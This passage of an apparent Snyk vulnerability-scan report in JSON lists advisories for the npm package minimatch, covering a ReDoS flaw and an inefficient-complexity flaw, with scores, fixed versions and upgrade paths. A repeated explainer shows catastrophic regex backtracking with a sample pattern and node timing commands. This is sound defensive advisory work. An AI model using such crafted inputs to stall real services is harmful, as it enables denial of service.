Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, 